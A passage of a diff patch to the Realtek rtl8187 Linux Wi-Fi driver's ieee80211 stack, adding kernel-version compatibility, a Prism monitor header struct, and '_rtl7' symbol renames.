crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#else + sg_set_page(&sg, virt_to_page(pos), len + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +214,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +244,26 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +284,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +298,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +311,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +320,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h 2008-01-30 17:38:11.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c 2008-01-30 17:38:11.000000000 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c 2008-01-30 17:38:11.000000000 +0100 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea 